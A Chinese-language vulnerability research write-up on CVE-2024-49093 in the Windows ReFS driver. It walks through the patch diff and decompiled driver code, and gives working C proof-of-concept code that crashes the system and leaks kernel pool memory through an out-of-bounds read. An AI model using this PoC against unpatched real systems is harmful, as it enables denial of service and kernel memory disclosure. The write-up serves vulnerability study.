本文分析一个去年出现在 refs.sys 的 Windows 内核漏洞: CVE-2024-49093. 测试环境基于Windows 11 24H2(Build 26100)。
ReFS(Resilient File System):是 Microsoft 开发的新一代文件系统,目标是最大化数据可用性、在多样化工作负载下高效扩展海量数据,并通过校验与修复增强数据完整性和抗损坏能力。ReFS 旨在解决不断扩展的存储需求,并为后续功能创新奠定基础。
在 ReFS 中,大多数对象以键值表的形式组织;其内部实现为 B+ 树,Microsoft 将该实现称为 MinStore B+。数据写入 ReFS 时不做就地更新,而是采取写时复制(Copy-on-Write,COW):有效载荷保存在叶节点,修改时生成新的叶节点承接旧数据再应用变更,并自底向上以 COW 方式更新父节点指针直至根。
常驻 / 非常驻(resident / non-resident):ReFS 将文件的名称、数据、ACL 等都抽象为“属性(attribute)”。当某个属性的数据较小即可内联存储于记录时称为 resident;否则切换为 non-resident,由一张 VCN→LCN 的运行列表(runlist)描述其落盘范围。
官方公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49093
根据公告可以知道补丁后的版本为10.0.26100.2605,定位到补丁:KB5048667。
借助https://winbindex.m417z.com/?file=refs.sys这个网站,搜索过滤条件为10.0.26100:
可见 10.0.26100.2454 大概就是修复前的累积版本。将补丁前后refs.sys
比较(bindiff):
补丁版仅新增两个函数,模式特征符合 WIL(Windows Implementation Library) 风格的“特性开关”检测。微软通过加开关而非直接改旧逻辑的方式修复,便于回滚与分阶段放量。
通过交叉引用,定位到被开关管控的函数:RefsAddAllocationForResidentWrite
官方描述为 CWE-681: Incorrect Conversion between Numeric Types(数值类型转换不当)。
观察漏洞函数相关的反汇编代码:
char __fastcall RefsAddAllocationForResidentWrite( struct _IRP_CONTEXT *a1, struct _SCB *scb, struct _CCB *ccb, READ_RANGE *ranges) { LARGE_INTEGER ValidDataLength; // xmm1_8 char v9; // si int IsEnabledDeviceUsageNoInline; // eax unsigned int v11; // r8d int ver; // ecx bool patch_close; // zf int v14; // eax unsigned __int64 QuadPart; // rdx __int16 v16; // cx unsigned __int16 v17; // ax DWORD LowPart; // edx __int16 v19; // cx unsigned __int16 v20; // ax __int64 v21; // rcx struct _CC_FILE_SIZES v23; // [rsp+30h] [rbp-28h] BYREF ValidDataLength = scb->FileSizes.ValidDataLength; *(_OWORD *)&v23.AllocationSize.LowPart = *(_OWORD *)&scb->FileSizes.AllocationSize.LowPart; v9 = 0; v23.ValidDataLength = ValidDataLength; IsEnabledDeviceUsageNoInline = Feature_4213557561__private_IsEnabledDeviceUsageNoInline(); v11 = 0x20000; ver = *((unsigned __int8 *)scb->VolumeContext + 792) << 8; patch_close = IsEnabledDeviceUsageNoInline == 0; v14 = *((unsigned __int8 *)scb->VolumeContext + 793); if ( !patch_close ) { if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 ) { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D( WPP_GLOBAL_Control->AttachedDevice, 61LL, &WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids, 0xC0000427LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(0xC0000427, a1, "write.c", 0x1097u); RefsRaiseStatusInternal(a1, 0xC0000427, v11); __debugbreak(); } QuadPart = ranges->end.QuadPart; if ( ccb ) { v16 = *((_WORD *)ccb + 41); if ( v16 ) { QuadPart = scb->FileSizes.AllocationSize.LowPart + ((QuadPart - scb->FileSizes.AllocationSize.LowPart) << v16); if ( QuadPart > 0x20000 ) QuadPart = 0x20000LL; if ( (scb->ScbState & 1) == 0 ) _InterlockedOr(&scb->ScbState, 1u); } v17 = *((_WORD *)ccb + 41); if ( v17 < 4u ) *((_WORD *)ccb + 41) = v17 + 1; } if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) < 0x30Bu// ver || QuadPart < 0x800 ) { v23.AllocationSize.QuadPart = QuadPart; v23.FileSize.QuadPart = QuadPart; goto LABEL_29; } LABEL_27: RefsConvertToNonResident(a1, scb); return 1; } if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 )// 如果版本小于0x30B并且写入的End指针大于0x20000 { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 62LL, &WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids, 0xC0000427LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(0xC0000427, a1, "write.c", 0x10EFu); RefsRaiseStatusInternal(a1, 0xC0000427, v11); JUMPOUT(0x1C00F3262LL); } LowPart = ranges->end.LowPart; if ( ccb ) { v19 = *((_WORD *)ccb + 41); if ( v19 ) { LowPart = scb->FileSizes.AllocationSize.LowPart + ((LowPart - scb->FileSizes.AllocationSize.LowPart) << v19); if ( LowPart > 0x20000 ) LowPart = 0x20000; if ( (scb->ScbState & 1) == 0 ) _InterlockedOr(&scb->ScbState, 1u); } v20 = *((_WORD *)ccb + 41); if ( v20 < 4u ) *((_WORD *)ccb + 41) = v20 + 1; } if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) >= 0x30Bu && LowPart >= 0x800 ) { goto LABEL_27; } v23.AllocationSize.QuadPart = LowPart; v23.FileSize.QuadPart = LowPart; LABEL_29: v23.ValidDataLength.QuadPart = scb->FileSizes.ValidDataLength.QuadPart; RefsWriteFileSizes(a1, scb, &v23, 1u); v21 = v23.AllocationSize.QuadPart; scb->FileSizes.AllocationSize.QuadPart = v23.AllocationSize.QuadPart; if ( scb->NodeTypeCode == 0x805 ) scb->ValidDataHighWatermark = v21; return v9; }
通过动态调试,可以分析出第四个参数的结构体字段含义;分别是WriteFile
写入时的偏移、偏移+写入长度指向的末尾、写入的长度。
struct READ_RANGE { LARGE_INTEGER offset; LARGE_INTEGER end; LARGE_INTEGER size; };
这个函数作用是什么?我们只分析 ReFS 版本 ≥ 3.11 的情况
ranges->end
未超过常驻阈值时:通过扩驻留满足写入。True
,随后由RefsAddAllocationForNonResidentWrite
执行真正的非驻留扩展。ccb
某字段(*((WORD*)ccb + 41)
)用于在短时间多次写入时做指数式增长(最多+4),再以0x20000
做上限收敛;这属于写入放大控制的实现细节,对我们分析这个漏洞没有太大影响。分析补丁前后的两个代码分支,可以很明显地看到差异点:对 end
使用 64 位(QuadPart
)还是误用 32 位(LowPart
)。
存在补丁的分支:
QuadPart = ranges->end.QuadPart; // 检查阈值(ReFS ≥ 3.11:0x800) v23.AllocationSize.QuadPart = QuadPart; v23.FileSize.QuadPart = QuadPart;
没有补丁(存在漏洞)分支:
LowPart = ranges->end.LowPart; // 检查阈值(ReFS ≥ 3.11:0x800) v23.AllocationSize.QuadPart = LowPart; v23.FileSize.QuadPart = LowPart;
也就是说,漏洞路径把本应 64 位的写入末端end
截断成了 32 位LowPart
,然后用这个截断值去做阈值判断和尺寸更新,导致与实际数据范围不一致的问题。这与官方描述的 “数字类型之间的转换不正确” 吻合。
使用 ReFS 文件系统可能需要升级到工作站版,升级完毕后,需要创建一个 ReFS 格式的R盘。
依据上一步的漏洞分析,要触发漏洞我们只需要保证下面的两个条件:
(size + offset)
的 高 32 位不为 0(即写入末端跨过 4 GiB 边界);(size + offset)
的 低 32 位 < 0x800(让阈值判断落入“驻留仍可扩”的错误分支)。可以非常容易写出下面的PoC代码:
HANDLE hc = CreateFileW( L"R:\\233333", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD written = 0; BYTE ddd[0x40]; OVERLAPPED ov = {}; ov.Offset = 0; // 低 32 位 ov.OffsetHigh = 1; // 高 32 位非 0,写末端跨 4GiB WriteFile(hc, ddd, sizeof(ddd), &written, &ov);
崩溃栈:
BUGCHECK_CODE: 34 BUGCHECK_P1: 59d BUGCHECK_P2: ffffffffc0000420 BUGCHECK_P3: 0 BUGCHECK_P4: 0 EXCEPTION_RECORD: ffffffffc0000420 -- (.exr 0xffffffffc0000420) Cannot read Exception record @ ffffffffc0000420 PROCESS_NAME: poc.exe STACK_TEXT: fffff28b`362c6628 fffff803`9b7714c2 : fffff28b`362c66a8 00000000`00000001 00000000`00000100 fffff803`9b893601 : nt!DbgBreakPointWithStatus fffff28b`362c6630 fffff803`9b7709ec : 00000000`00000003 fffff28b`362c6790 fffff803`9b893820 00000000`00000034 : nt!KiBugCheckDebugBreak+0x12 fffff28b`362c6690 fffff803`9b6b8657 : ffffa505`7dee3090 fffff803`9b41a9ed ffffa505`00001000 fffff803`9b47450e : nt!KeBugCheck2+0xb2c fffff28b`362c6e20 fffff803`9b51261d : 00000000`00000034 00000000`0000059d ffffffff`c0000420 00000000`00000000 : nt!KeBugCheckEx+0x107 fffff28b`362c6e60 fffff803`9b512f3b : fffff28b`00000000 00000001`00000000 fffff28b`362c6f78 fffff28b`362c6f50 : nt!CcGetVirtualAddress+0x5cd fffff28b`362c6ef0 fffff803`9b512940 : ffffa505`804205e0 000000db`32dcfa60 fffff28b`362c7140 ffffc801`00000400 : nt!CcMapAndCopyInToCache+0x45b fffff28b`362c70d0 fffff803`9b671629 : 00000000`00000001 ffffa505`7eab11a0 ffffc801`768c2230 ffffc801`768c2201 : nt!CcCopyWriteEx+0x170 fffff28b`362c7180 fffff803`30b06f91 : ffffc801`768c2230 000000db`32dcfa60 ffffa505`7b7abd40 ffffa505`7eab11a0 : nt!CcCopyWrite+0x19 fffff28b`362c71c0 fffff803`30b069e1 : ffffa505`7ba81010 ffffa505`7c570790 ffffa505`7eab11a0 00000000`00000000 : ReFS!RefsCopyWriteInternal+0x591 fffff28b`362c75c0 fffff803`2d00b192 : fffff28b`362c7729 000000db`32dcfa60 fffff28b`362c76e0 000000db`32dcfa60 : ReFS!RefsCopyWriteA+0x71 fffff28b`362c7640 fffff803`2d0094b1 : fffff28b`362c77c0 fffff28b`362c7729 ffffa505`7fbad010 ffffa505`7fbad110 : FLTMGR!FltpPerformFastIoCall+0xb2 fffff28b`362c76a0 fffff803`2d06caa2 : fffff28b`362c1000 00000000`00000000 ffffa505`7eab11a0 00000000`00000000 : FLTMGR!FltpPassThroughFastIo+0x121 fffff28b`362c7790 fffff803`9ba8d1e4 : fffff28b`362c7800 00000000`00000000 00000000`00000000 fffff803`2d06c930 : FLTMGR!FltpFastIoWrite+0x172 fffff28b`362c7840 fffff803`9ba8ce2f : ffffa505`7eab11a0 ffffa505`7eab1170 00000000`00000000 00000000`00000000 : nt!IopWriteFile+0x1c4 fffff28b`362c7960 fffff803`9b88d155 : 00000000`0012019f 00000000`00000000 00000000`00000000 000000db`32dcfa38 : nt!NtWriteFile+0x2cf fffff28b`362c7a30 00007ffd`bb6ff824 : 00007ffd`b8a40f7a 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 : nt!KiSystemServiceCopyEnd+0x25 000000db`32dcf968 00007ffd`b8a40f7a : 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 000002b1`60503930 : ntdll!NtWriteFile+0x14 000000db`32dcf970 00007ff7`319911af : 000002b1`60500b60 00000000`00000000 00000000`00000470 000000db`32dcfa20 : KERNELBASE!WriteFile+0x11a 000000db`32dcf9e0 000002b1`60500b60 : 00000000`00000000 00000000`00000470 000000db`32dcfa20 00000001`00000000 : poc+0x11af 000000db`32dcf9e8 00000000`00000000 : 00000000`00000470 000000db`32dcfa20 00000001`00000000 000000db`00000080 : 0x000002b1`60500b60
但是错误码0x34的crash并不是由内存破坏导致的,而是触发了文件缓存管理器的断言检查(缓存路径在尺寸不一致时会触发断言),导致快速I/O失败,并不能用于漏洞利用。因此 PoC 需要在CreateFileW
时加上FILE_FLAG_NO_BUFFERING
走非缓存 I/O。
非缓存 I/O 在ReadFile/WriteFile
时,长度和偏移需要满足下面的对齐条件:
使用FILE_FLAG_NO_BUFFERING
标志重新编写PoC代码:
HANDLE h = CreateFileW( L"R:\\233333", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, NULL); DWORD written = 0; BYTE ddd[0x200]; OVERLAPPED ov = {}; ov.Offset = 0; ov.OffsetHigh = 1; WriteFile(h, ddd, sizeof(ddd), &written, &ov);
我们可以通过打印数据流的信息观察到漏洞造成的效果(分配大小≪文件大小):
Z:\22>poc.exe Write 512 bytes [Standard] AllocationSize = 0x200 bytes, EndOfFile(FileSize) = 0x100000200 bytes, Links=1, Dir=0, DeletePending=0 [Streams] ::$DATA StreamSize=0x100000200 StreamAllocationSize=0x200
复现时建议关闭 EDR/安全中心的“驱动器保护”,否则其后台扫描会触发大范围读取,导致越界访问后蓝屏。
本文仅分析到如何在内核池中实现越界读/写为止。
之前的 PoC 已将文件的数据流保持为 resident,仅分配0x200
字节,同时把文件的 EndOfFile 扩大到0x100000200
,制造了AllocationSize ≪ FileSize
的不一致状态:真实可用数据区远小于文件声明的大小。
那么很自然地可以想到如果使用ReadFile
读取一个大于0x200字节长度的数据,是否就能直接越界读了?
下面以读取 0x1000 为例。先写入 0x200 个'A'
,随后读 0x1000。如果bytesRead == 0x1000
,且hexdump
打印中 0x200 之后仍有非零数据,即说明越界读成功。
HANDLE h = CreateFileW( L"R:\\233333", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, NULL); DWORD written = 0; BYTE ddd[0x200]; memset(ddd, 'A', sizeof(ddd)); OVERLAPPED ov = {}; ov.Offset = 0; ov.OffsetHigh = 1; WriteFile(h, ddd, sizeof(ddd), &written, &ov); DWORD readBytes = 0x1000; LPVOID buf1 = VirtualAlloc(nullptr, readBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(buf1, 0, readBytes); DWORD bytesRead = 0; ov.Offset = 0; ov.OffsetHigh = 0; ok = ReadFile(h, buf1, readBytes, &bytesRead, &ov); if (!ok) { printf("ReadFile failed: %lu\n", GetLastError()); } else { printf("Read %lu bytes\n", bytesRead); hexdump(buf1, bytesRead); }
打印结果:
可以看到确实越界读出了数据,那么这些数据从哪来、落在哪个内核池里?
调用栈:
00 ffffab00`dc1aea78 fffff804`6c88b108 ReFS!RefsNonCachedResidentRead 01 ffffab00`dc1aea80 fffff804`6c8b8caa ReFS!RefsCommonRead+0x10b8 02 ffffab00`dc1aec20 fffff804`d5cf79fe ReFS!RefsFsdRead+0x61a 03 ffffab00`dc1af000 fffff804`67736afc nt!IofCallDriver+0xbe
下面分析RefsNonCachedResidentRead
函数
void __fastcall RefsNonCachedResidentRead(_IRP_CONTEXT *a1, _IRP *a2, _SCB *a3, READ_RANGE *a4) { // 1) 绑定事务、构造键,用于在 MinStore B+ 表中定位这条常驻属性 memset(&v27, 0, sizeof(v27)); memset(&key, 0, sizeof(key)); CmsTable = (CmsTable *)*((_QWORD *)a3->Fcb + 32); RefsBindMinstoreTransaction(a1); inited = MsInitRowWithBuffer(&v27); Row = RefsInitializeScbAttributeKey(a3, &key, 0); if (Row >= 0) { // 2) MsFindRow(… , &key , inited) 查出记录,并把页上的那行拷到 inited 指向的缓冲 Row = MsFindRow(*((CmsVolume ***)a1 + 3), CmsTable, (__int64)&key); if (Row >= 0) { BYTE *Buffer = (BYTE *)inited->val_ptr; // 注意:val_ptr 已被 MsFindRow/CopyRow 填充 unsigned val_len = inited->val_len; // 3) 一系列边界合法性检查(略) // 读取 value 内部“用户负载”的起始偏移: unsigned valueOffset = *(DWORD*)&Buffer[*(USHORT*)(Buffer+8)] + *(USHORT*)(Buffer+8); // 4) 将用户态缓冲映射出来,然后把 [valueOffset + a4->Offset, 长度 a4->Length] // 直接 memmove 给用户 void* user = RefsMapUserBuffer(a2); memmove(user, &Buffer[a4->Offset + valueOffset], a4->Length); a2->IoStatus.Information = a4->Length; a2->IoStatus.Status = Row; } } }
该函数大致做了以下:
RefsInitializeScbAttributeKey
生成),用于在 MinStore B+ 表中定位常驻属性行;MsFindRow(..., key, outRow)
搜索记录,并将页内行通过CmsRowWithBuffer::CopyRow
拷贝到outRow
;inited
上获取拷贝的源指针Buffer,随后将[valueOffset + a4->Offset, 长度 a4->Length]
直接memmove
到用户缓冲。但是从IDA的反汇编代码来看,MsInitRowWithBuffer
只是把inited
清零并让它的storage
指向 0x20 字节的内联缓冲;为什么MsFindRow
之后inited->val_ptr
就成为一段可读的记录值?
这要结合调用约定和汇编看实参位置:
RefsNonCachedResidentRead: .text:00000001C00E3F8B call MsInitRowWithBuffer .text:00000001C00E3F90 mov r14, rax ..... .text:00000001C00E3FB6 mov [rsp+20h], r14 .text:00000001C00E3FBB lea r8, [rsp+148h+key] .text:00000001C00E3FC0 mov rdx, rsi .text:00000001C00E3FC3 call MsFindRow
将初始化后的inited
指针写到了[rsp+0x20h],然后调用MsFindRow
MsFindRow: .text:00000001C00C8310 sub rsp, 48h .text:00000001C00C8314 mov rax, rdx .text:00000001C00C8317 mov r9, [rsp+70h] .text:00000001C00C831C mov rdx, rcx .text:00000001C00C831F mov rcx, rax .text:00000001C00C8322 call ?FindRow@CmsTable@@QEAAJPEAVCmsTransactionContext@@AEBU_CmsKey@@PEAVCmsRowWithBuffer@@W4Value@EmsPinRowFlags@@@Z ; CmsTable::FindRow(CmsTransactionContext *,_CmsKey const &,CmsRowWithBuffer *,EmsPinRowFlags::Value)
在MsFindRow
首先调整栈指针,然后将[rsp+70h]的值作为第四个参数,通过计算0x70 - 0x48 - 8 = 0x20,可以发现实际上MsFindRow
的第四个变量其实就对应RefsNonCachedResidentRead
函数的[rsp+0x20],也就是inited
指针。
继续分析MsFindRow
,MsFindRow
仅仅是把参数原封不动传给CmsTable::FindRow
,而后者会PinInIndex
找到页上对应的记录,再调用CmsTable::OutputRow
生成一个_CmsRow
视图,最终交给:
return CmsRowWithBuffer::CopyRow(a4 /*inited*/, &row, 0);
继续分析CmsRowWithBuffer::CopyRow
函数:
__int64 __fastcall CmsRowWithBuffer::CopyRow(struct CmsRowWithBuffer *cmsBuffer, const struct _CmsRow *a2, int a3) { // .... val_len = a2->val_len; if ( (_DWORD)val_len ) { key_ptr = a2->key.ptr; p_key_ptr = &a2->key.ptr; val_ptr = a2->val_ptr; p_val_ptr = &a2->val_ptr; if ( key_ptr >= val_ptr ) { v11 = (unsigned int)val_len; if ( key_ptr <= &val_ptr[val_len] ) // 这两个判断检查key指针是否在value区间内 { v12 = ((a3 + 7) & 0xFFFFFFF8) + ((val_len + 7) & 0xFFFFFFF8); goto LABEL_11; } } } key_len = (unsigned int)a2->key.len; v11 = val_len; if ( !(_DWORD)key_len || !(_DWORD)val_len ) { p_key_ptr = &a2->key.ptr; p_val_ptr = &a2->val_ptr; LABEL_9: v16 = (key_len + 7) & 0xFFF8; goto LABEL_10; } ptr = a2->key.ptr; p_key_ptr = &a2->key.ptr; v15 = a2->val_ptr; p_val_ptr = &a2->val_ptr; if ( &ptr[key_len] < v15 || &ptr[key_len] > &v15[val_len] )// if(key_end_ptr < val_ptr || key_end_ptr > val_end_ptr) goto LABEL_9; v16 = (_WORD)v15 - (_WORD)ptr; // val_ptr - key_ptr 计算两个空间的间隙 LABEL_10: v12 = v16 + ((val_len + 7) & 0xFFFFFFF8) + ((a3 + 7) & 0xFFFFFFF8);// val_len 8字节向上取整 if ( !(_DWORD)val_len ) { LABEL_13: v17 = 0; goto LABEL_14; } LABEL_11: if ( *p_key_ptr < *p_val_ptr || *p_key_ptr > &(*p_val_ptr)[v11] ) goto LABEL_13; v17 = 1; LABEL_14: if ( !cmsBuffer->storage ) CmsRowWithBuffer::Reset(cmsBuffer); if ( v12 > cmsBuffer->capacity ) // 如果大于之前的空间,则要重新创建新的空间 { v18 = 8 * ((unsigned __int64)v12 >> 3); // 保证8字节对齐 if ( !is_mul_ok((unsigned __int64)v12 >> 3, 8uLL) ) v18 = -1LL; PoolWithTag = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v18, 'iPSM'); if ( !PoolWithTag ) return 0xC000009ALL; if ( (cmsBuffer->flags & 1) != 0 ) // 如果之前已经用是申请的池空间 { storage = cmsBuffer->storage; if ( storage ) ExFreePoolWithTag(storage, 0); // 那么需要还要释放掉之前的空间 } cmsBuffer->flags |= 1u; cmsBuffer->storage = PoolWithTag; // 赋值新的 cmsBuffer->capacity = v12; } v20 = cmsBuffer->storage; v21 = &cmsBuffer->row.val_ptr; cmsBuffer->row.key.ptr = v20; len = a2->key.len; cmsBuffer->row.key.len = a2->key.len; cmsBuffer->row.val_ptr = v20; cmsBuffer->row.val_len = a3 + a2->val_len; if ( v17 ) { v20 += (unsigned int)(LODWORD(a2->key.ptr) - LODWORD(a2->val_ptr)); cmsBuffer->row.key.ptr = v20; goto LABEL_29; } v23 = (unsigned int)a2->key.len; if ( (_DWORD)v23 && (v24 = a2->val_len, (_DWORD)v24) ) { v25 = a2->key.ptr; v26 = a2->val_ptr; if ( &v25[v23] >= v26 ) { v21 = &cmsBuffer->row.val_ptr; if ( &v25[v23] <= &v26[v24] ) { v27 = (_WORD)v26 - (_WORD)v25; goto LABEL_28; } } } else { LOWORD(v23) = a2->key.len; } v27 = (v23 + 7) & 0xFFF8; LABEL_28: *v21 = &v20[v27]; LABEL_29: if ( len ) *(_QWORD *)&v20[((len + 7) & 0xFFFFFFF8) - 8] = 0LL; v28 = cmsBuffer->row.val_len; if ( v28 ) *(_QWORD *)&(*v21)[((v28 + 7) & 0xFFFFFFF8) - 8] = 0LL; cmsBuffer->row.key.flags = a2->key.flags; v29 = a2->key.ptr; if ( (unsigned __int64)(v29 - 2) <= 2 ) cmsBuffer->row.key.ptr = v29; else memmove(cmsBuffer->row.key.ptr, v29, (unsigned int)a2->key.len); memmove(cmsBuffer->row.val_ptr, a2->val_ptr, a2->val_len); return 0LL; }
直接从函数名来看CmsRowWithBuffer::CopyRow
函数的作用就是把_CmsRow
复制进CmsRowWithBuffer
.
CmsRowWithBuffer
:键值行副本缓冲;它里面既有一个_CmsRow
,也有承载实际字节的空间。
struct _CmsKey { __int32 len; __int16 flags; __int16 field_6; BYTE *ptr; }; struct _CmsRow { _CmsKey key; unsigned int val_len; BYTE *val_ptr; }; struct CmsRowWithBuffer { _CmsRow row; BYTE *storage; __int8 flags; __int32 capacity; __int8 inline_storage[32]; };
初始时storage
指针指向inline_storage
数组,capacity
为0x20。
CmsRowWithBuffer::CopyRow
其中有很多计算key_ptr
和val_ptr
重叠和间隙的代码,这里暂不分析其作用;
现在主要分析if ( v12 > cmsBuffer->capacity )
里的代码,前面提到每个CmsRowWithBuffer
里面都有0x20字节的内联,如果val_len
大于capacity
,那么就会尝试从池内存新开辟一段内存,然后替换掉原来的storage
指针,并更新capacity
,flags
用于标记之前是否已经申请过池内存了,如果为1,则还需要释放掉原先申请的池内存。
以之前PoC代码为例,第一步WriteFile
写入的数据流长度为0x200,加上0x3C的头长度,8字节向上取整以后,由此ExAllocatePoolWithTag
会在池中分配 0x250 字节。
最后CmsRowWithBuffer::CopyRow
会调用memmove
将之前的数据拷贝到新的内存上,完成对cmsBuffer
的拷贝,并返回给RefsNonCachedResidentRead
;
RefsNonCachedResidentRead
从cmsBuffer
取出val_ptr
指针,也就是CmsRowWithBuffer::CopyRow
申请的池内存作为memove
的src指针,拷贝的长度为ReadFile
指针的size。
总结:我们可以利用漏洞制造一个AllocationSize ≪ FileSize 的不一致状态的文件,然后读取一个超过写入长度的数据造成OOB read。
由于非缓存I/O的限制WriteFile
的size
必须是扇区大小的倍数,且要小于常驻阈值0x800,因此能够申请的长度为0x200、0x400、0x600,那么能够越界读的池长度为0x260、0x460、0x660;
WriteFile
能否像ReadFile
那样直接进行越界写?下面分析写入时最关键的函数:
__int64 __fastcall RefsResidentWrite( struct CmsTransactionContext **a1, struct _IRP *a2, struct _SCB *scb, int offset, unsigned int BytesToWrite) { char v9; // r14 NTSTATUS v10; // ebx BYTE *UserBuffer; // r9 CmsVolume **v12; // rcx CmsBPlusTable **Fcb; // rax NTSTATUS updated; // eax NTSTATUS v15; // ebx unsigned int v16; // r8d unsigned int v17; // r8d __int64 *v19; // [rsp+20h] [rbp-A8h] __int64 v20[2]; // [rsp+30h] [rbp-98h] BYREF CmsRowWithBuffer v21; // [rsp+40h] [rbp-88h] BYREF memset(&v21, 0, sizeof(v21)); v9 = 0; RefsBindMinstoreTransaction((struct _IRP_CONTEXT *)a1); v10 = RefsInitializeScbAttributeKey(scb, &v21, 1); if ( v10 >= 0 ) { if ( a2 ) { UserBuffer = (BYTE *)RefsMapUserBuffer(a2); if ( (a2->Flags & 2) != 0 ) { v9 = 1; *(_QWORD *)a1[3] |= 0x4000000uLL; } } else { UserBuffer = (BYTE *)&P; } v12 = (CmsVolume **)a1[3]; v20[0] = (unsigned int)(offset + scb->AttributeHdrLength); Fcb = (CmsBPlusTable **)scb->Fcb; v20[1] = BytesToWrite; v19 = v20; updated = MsUpdateMetaRow(v12, Fcb[32], &v21, UserBuffer); // ... }
这里和读路径类似,RefsResidentWrite
也是先由RefsInitializeScbAttributeKey
构造行键;
这个函数同样有之前的IDA反汇编问题,实际上还封装了写入的范围__int64 v20[2]
作为MsUpdateMetaRow
的第五个参数,这俩个值分别为offset + scb->AttributeHdrLength
和BytesToWrite
。
之后调用MsUpdateMetaRow
进行更新。
// positive sp value has been detected, the output may be wrong! __int64 __fastcall MsUpdateMetaRow(CmsVolume **a1, CmsBPlusTable *a2, CmsRowWithBuffer *a3, BYTE *UserBuffer) { _QWORD *v6; // r14 CmsVolume *v7; // rcx __int64 v8; // r10 CmsBPlusTable *v9; // r11 int v10; // edi int v11; // ebx unsigned int val_len; // r12d __int64 v13; // r15 int v14; // r9d unsigned int v15; // edi unsigned int v16; // r12d struct SmsLookupStack *v17; // rax __int64 v18; // r15 __int64 v21; // [rsp+10h] [rbp-218h] _CmsKey key; // [rsp+18h] [rbp-210h] BYREF CmsRowWithBuffer v23; // [rsp+28h] [rbp-200h] BYREF unsigned int v24; // [rsp+78h] [rbp-1B0h] int v25; // [rsp+7Ch] [rbp-1ACh] BYTE *v26; // [rsp+80h] [rbp-1A8h] __int64 v27; // [rsp+88h] [rbp-1A0h] BYREF __int128 v28; // [rsp+A0h] [rbp-188h] int v29; // [rsp+B0h] [rbp-178h] __int64 v30; // [rsp+B8h] [rbp-170h] BYREF struct CmsTableCursor CmsTableCursor; // [rsp+E8h] [rbp-140h] BYREF BYTE *v32; // [rsp+210h] [rbp-18h] _QWORD *v33; // [rsp+218h] [rbp-10h] v6 = v33; LOWORD(v28) = 0; v29 = 0; CmsRowWithBuffer::GetPhysicalKey(a3, &key); CmsMatchAllCursor::CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor, &key); memset(&v23, 0, 0x14); v23.row.val_ptr = 0LL; CmsVolume::BeginTopLevelActionInternal( v7, (struct CmsTransactionContext *)a1, (struct _SmsTopLevelAction *)&v27, 0, 0); if ( (*(_DWORD *)(*((_QWORD *)v9 + 3) + 44LL) & 1) != 0 ) { if ( (*(_BYTE *)(v8 + 40) & 2) != 0 ) { *(_QWORD *)key.ptr = 0LL; v11 = *(_DWORD *)&v23.inline_storage[4]; while ( 1 ) { v10 = CmsTable::Enumerate(v9, a1, &CmsTableCursor, &v23, 0xB05, 0); if ( v10 ) break; v23.storage = (BYTE *)(unsigned int)v23.row.key.ptr->field_4; val_len = v23.row.val_len; *(_QWORD *)&v23.flags = v23.row.val_len; v13 = v6[1]; // BytesToWrite v21 = *v6; // offset + scb->AttributeHdrLength if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes ) goto LABEL_14; if ( IsWithinRange<_RANGE,unsigned __int64>(v6, &v23.storage) ) { v15 = *(_DWORD *)v6 - v14; v16 = val_len - v15; if ( v16 >= *((_DWORD *)v6 + 2) ) v16 = *((_DWORD *)v6 + 2); v17 = SmsLookupStack::Copy((__int64 *)&CmsTableCursor.pin, (SmsLookupStack *)&v30, (__int64)a1, 0); *(_DWORD *)v23.inline_storage = v16; *(_QWORD *)&v23.inline_storage[8] = UserBuffer; *(_CmsKey *)&v23.inline_storage[16] = v23.row.key; v24 = v16; v25 = v11; v26 = UserBuffer; v10 = CmsBPlusTable::UpdateInIndex(a2, (__int64)a1, (const void **)&v23.inline_storage[16], v17, v15); SmsLookupStack::~SmsLookupStack((SmsLookupStack *)&v30); if ( v10 < 0 ) break; UserBuffer += v16; v32 = UserBuffer; *v6 = v16 + v21; v18 = v13 - v16; v6[1] = v18; if ( !v18 ) break; v9 = a2; } else { v9 = a2; } } } else { v10 = 0xC000000D; } } else { LABEL_14: v10 = 0xC00000BB; } CmsTableCursorBase::CleanCursorAfterEnumerate(&CmsTableCursor, a1); CmsVolume::AbsorbOrAbortTopLevelAction( a1[1], (struct CmsTransactionContext *)a1, (struct _SmsTopLevelAction *)&v27, v10); *(_QWORD *)key.ptr = 0LL; CmsMatchAllCursor::~CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor); return (unsigned int)v10; }
真正的数据写入位于CmsBPlusTable::UpdateInIndex
